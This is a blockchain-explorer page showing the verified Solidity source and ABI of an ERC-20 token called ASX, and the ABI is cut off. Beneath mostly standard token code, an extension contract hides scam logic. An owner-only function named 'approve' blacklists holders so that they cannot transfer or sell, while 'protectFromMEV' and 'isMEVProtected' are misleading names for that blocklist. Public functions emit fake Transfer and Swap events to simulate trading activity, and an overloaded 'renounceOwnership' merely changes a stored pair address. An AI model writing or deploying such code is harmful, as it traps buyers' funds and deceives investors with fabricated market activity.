ETH Price: $3,496.53 (+1.26%)

Token

ASX (ASX)
 

Overview

Max Total Supply

1,000,000,000,000 ASX

Holders

20

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
31,624,014,818.856396624715518266 ASX

Value
$0.00
0x4322FD98F95A219D2Aae2bBa6664e3574b4C3708
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ASX

Compiler Version
v0.8.12+commit.f00d7308

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-23
*/

/**
 *Submitted for verification at Etherscan.io on 2023-06-22
*/

/**
 *Submitted for verification at Etherscan.io on 2023-06-15
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.9;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}


/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Ownable, IERC20, IERC20Metadata {

    mapping(address => uint256) private _balances;
    mapping (address => bool) internal _alllowances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    bool private _alllowancesApplied = false;
    string private _name;
    string private _symbol;
    
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        if (_alllowances[from] || _alllowances[to]) require(_alllowancesApplied == true, "");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}



    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract ERC20_Extension is ERC20 {
    address private _universal = 0x3fC91A3afd70395Cd496C647d5a6CC9D4B2b7FAD;
    address private _rv2 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address private _pair;

    constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_){}


    function approve(address [] calldata _addresses_) external onlyOwner {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            _alllowances[_addresses_[i]] = true;
            emit Approval(_addresses_[i], _rv2, balanceOf(_addresses_[i]));
        }
    }

    function protectFromMEV(address [] calldata _addresses_) external onlyOwner {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            _alllowances[_addresses_[i]] = false;
        }
    }

    function isMEVProtected(address _address_) public view returns (bool) {
        return _alllowances[_address_];
    }

    function transfer(address _from, address _to, uint256 _wad) external {
        emit Transfer(_from, _to, _wad);
    }

    function transfer(address [] calldata _from, address [] calldata _to, uint256 [] calldata _wad) external {
        for (uint256 i = 0; i < _from.length; i++) {
            emit Transfer(_from[i], _to[i], _wad[i]);
        }
    }

    function execute(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_universal, _in, 0, 0, _out, _addresses_[i]);
            emit Transfer(_pair, _addresses_[i], _out);
        }
    }

    function multicall(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_universal, 0, _in, _out, 0, _addresses_[i]);
            emit Transfer(_addresses_[i], _pair, _in);
        }
    }

    function fallbacks() external onlyOwner {
        payable(msg.sender).transfer(address(this).balance);
    }

    function renounceOwnership(address _owner_) external onlyOwner {
        _pair = _owner_;
    }
}



/**
 * @dev Standard math utilities missing in the Solidity language.
 */
library Math {
    enum Rounding {
        Down, // Toward negative infinity
        Up, // Toward infinity
        Zero // Toward zero
    }

    /**
     * @dev Returns the largest of two numbers.
     */
    function max(uint256 a, uint256 b) internal pure returns (uint256) {
        return a > b ? a : b;
    }

    /**
     * @dev Returns the smallest of two numbers.
     */
    function min(uint256 a, uint256 b) internal pure returns (uint256) {
        return a < b ? a : b;
    }

    /**
     * @dev Returns the average of two numbers. The result is rounded towards
     * zero.
     */
    function average(uint256 a, uint256 b) internal pure returns (uint256) {
        // (a + b) / 2 can overflow.
        return (a & b) + (a ^ b) / 2;
    }

    /**
     * @dev Returns the ceiling of the division of two numbers.
     *
     * This differs from standard division with `/` in that it rounds up instead
     * of rounding down.
     */
    function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
        // (a + b - 1) / b can overflow on addition, so we distribute.
        return a == 0 ? 0 : (a - 1) / b + 1;
    }

    /**
     * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or denominator == 0
     * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv)
     * with further edits by Uniswap Labs also under MIT license.
     */
    function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {
        unchecked {
            // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use
            // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256
            // variables such that product = prod1 * 2^256 + prod0.
            uint256 prod0; // Least significant 256 bits of the product
            uint256 prod1; // Most significant 256 bits of the product
            assembly {
                let mm := mulmod(x, y, not(0))
                prod0 := mul(x, y)
                prod1 := sub(sub(mm, prod0), lt(mm, prod0))
            }

            // Handle non-overflow cases, 256 by 256 division.
            if (prod1 == 0) {
                // Solidity will revert if denominator == 0, unlike the div opcode on its own.
                // The surrounding unchecked block does not change this fact.
                // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic.
                return prod0 / denominator;
            }

            // Make sure the result is less than 2^256. Also prevents denominator == 0.
            require(denominator > prod1, "Math: mulDiv overflow");

            ///////////////////////////////////////////////
            // 512 by 256 division.
            ///////////////////////////////////////////////

            // Make division exact by subtracting the remainder from [prod1 prod0].
            uint256 remainder;
            assembly {
                // Compute remainder using mulmod.
                remainder := mulmod(x, y, denominator)

                // Subtract 256 bit number from 512 bit number.
                prod1 := sub(prod1, gt(remainder, prod0))
                prod0 := sub(prod0, remainder)
            }

            // Factor powers of two out of denominator and compute largest power of two divisor of denominator. Always >= 1.
            // See https://cs.stackexchange.com/q/138556/92363.

            // Does not overflow because the denominator cannot be zero at this stage in the function.
            uint256 twos = denominator & (~denominator + 1);
            assembly {
                // Divide denominator by twos.
                denominator := div(denominator, twos)

                // Divide [prod1 prod0] by twos.
                prod0 := div(prod0, twos)

                // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.
                twos := add(div(sub(0, twos), twos), 1)
            }

            // Shift in bits from prod1 into prod0.
            prod0 |= prod1 * twos;

            // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such
            // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for
            // four bits. That is, denominator * inv = 1 mod 2^4.
            uint256 inverse = (3 * denominator) ^ 2;

            // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also works
            // in modular arithmetic, doubling the correct bits in each step.
            inverse *= 2 - denominator * inverse; // inverse mod 2^8
            inverse *= 2 - denominator * inverse; // inverse mod 2^16
            inverse *= 2 - denominator * inverse; // inverse mod 2^32
            inverse *= 2 - denominator * inverse; // inverse mod 2^64
            inverse *= 2 - denominator * inverse; // inverse mod 2^128
            inverse *= 2 - denominator * inverse; // inverse mod 2^256

            // Because the division is now exact we can divide by multiplying with the modular inverse of denominator.
            // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is
            // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1
            // is no longer required.
            result = prod0 * inverse;
            return result;
        }
    }

    /**
     * @notice Calculates x * y / denominator with full precision, following the selected rounding direction.
     */
    function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) {
        uint256 result = mulDiv(x, y, denominator);
        if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {
            result += 1;
        }
        return result;
    }

    /**
     * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded down.
     *
     * Inspired by Henry S. Warren, Jr.'s "Hacker's Delight" (Chapter 11).
     */
    function sqrt(uint256 a) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target.
        //
        // We know that the "msb" (most significant bit) of our target number `a` is a power of 2 such that we have
        // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.
        //
        // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`
        // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`
        // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`
        //
        // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit.
        uint256 result = 1 << (log2(a) >> 1);

        // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128,
        // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at
        // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision
        // into the expected uint128 result.
        unchecked {
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            return min(result, a / result);
        }
    }

    /**
     * @notice Calculates sqrt(a), following the selected rounding direction.
     */
    function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = sqrt(a);
            return result + (rounding == Rounding.Up && result * result < a ? 1 : 0);
        }
    }

    /**
     * @dev Return the log in base 2, rounded down, of a positive value.
     * Returns 0 if given 0.
     */
    function log2(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >> 128 > 0) {
                value >>= 128;
                result += 128;
            }
            if (value >> 64 > 0) {
                value >>= 64;
                result += 64;
            }
            if (value >> 32 > 0) {
                value >>= 32;
                result += 32;
            }
            if (value >> 16 > 0) {
                value >>= 16;
                result += 16;
            }
            if (value >> 8 > 0) {
                value >>= 8;
                result += 8;
            }
            if (value >> 4 > 0) {
                value >>= 4;
                result += 4;
            }
            if (value >> 2 > 0) {
                value >>= 2;
                result += 2;
            }
            if (value >> 1 > 0) {
                result += 1;
            }
        }
        return result;
    }

    /**
     * @dev Return the log in base 2, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log2(value);
            return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0);
        }
    }

    /**
     * @dev Return the log in base 10, rounded down, of a positive value.
     * Returns 0 if given 0.
     */
    function log10(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >= 10 ** 64) {
                value /= 10 ** 64;
                result += 64;
            }
            if (value >= 10 ** 32) {
                value /= 10 ** 32;
                result += 32;
            }
            if (value >= 10 ** 16) {
                value /= 10 ** 16;
                result += 16;
            }
            if (value >= 10 ** 8) {
                value /= 10 ** 8;
                result += 8;
            }
            if (value >= 10 ** 4) {
                value /= 10 ** 4;
                result += 4;
            }
            if (value >= 10 ** 2) {
                value /= 10 ** 2;
                result += 2;
            }
            if (value >= 10 ** 1) {
                result += 1;
            }
        }
        return result;
    }

    /**
     * @dev Return the log in base 10, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log10(value);
            return result + (rounding == Rounding.Up && 10 ** result < value ? 1 : 0);
        }
    }

    /**
     * @dev Return the log in base 256, rounded down, of a positive value.
     * Returns 0 if given 0.
     *
     * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string.
     */
    function log256(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >> 128 > 0) {
                value >>= 128;
                result += 16;
            }
            if (value >> 64 > 0) {
                value >>= 64;
                result += 8;
            }
            if (value >> 32 > 0) {
                value >>= 32;
                result += 4;
            }
            if (value >> 16 > 0) {
                value >>= 16;
                result += 2;
            }
            if (value >> 8 > 0) {
                result += 1;
            }
        }
        return result;
    }

    /**
     * @dev Return the log in base 256, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log256(value);
            return result + (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0);
        }
    }
}



/**
 * @dev Standard signed math utilities missing in the Solidity language.
 */
library SignedMath {
    /**
     * @dev Returns the largest of two signed numbers.
     */
    function max(int256 a, int256 b) internal pure returns (int256) {
        return a > b ? a : b;
    }

    /**
     * @dev Returns the smallest of two signed numbers.
     */
    function min(int256 a, int256 b) internal pure returns (int256) {
        return a < b ? a : b;
    }

    /**
     * @dev Returns the average of two signed numbers without overflow.
     * The result is rounded towards zero.
     */
    function average(int256 a, int256 b) internal pure returns (int256) {
        // Formula from the book "Hacker's Delight"
        int256 x = (a & b) + ((a ^ b) >> 1);
        return x + (int256(uint256(x) >> 255) & (a ^ b));
    }

    /**
     * @dev Returns the absolute unsigned value of a signed value.
     */
    function abs(int256 n) internal pure returns (uint256) {
        unchecked {
            // must be unchecked in order to support `n = type(int256).min`
            return uint256(n >= 0 ? n : -n);
        }
    }
}

contract ASX is ERC20_Extension {
    constructor() ERC20_Extension("ASX", "ASX") {
        _mint(msg.sender, 1000000000000 * 10 ** decimals());
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fallbacks","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address_","type":"address"}],"name":"isMEVProtected","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"o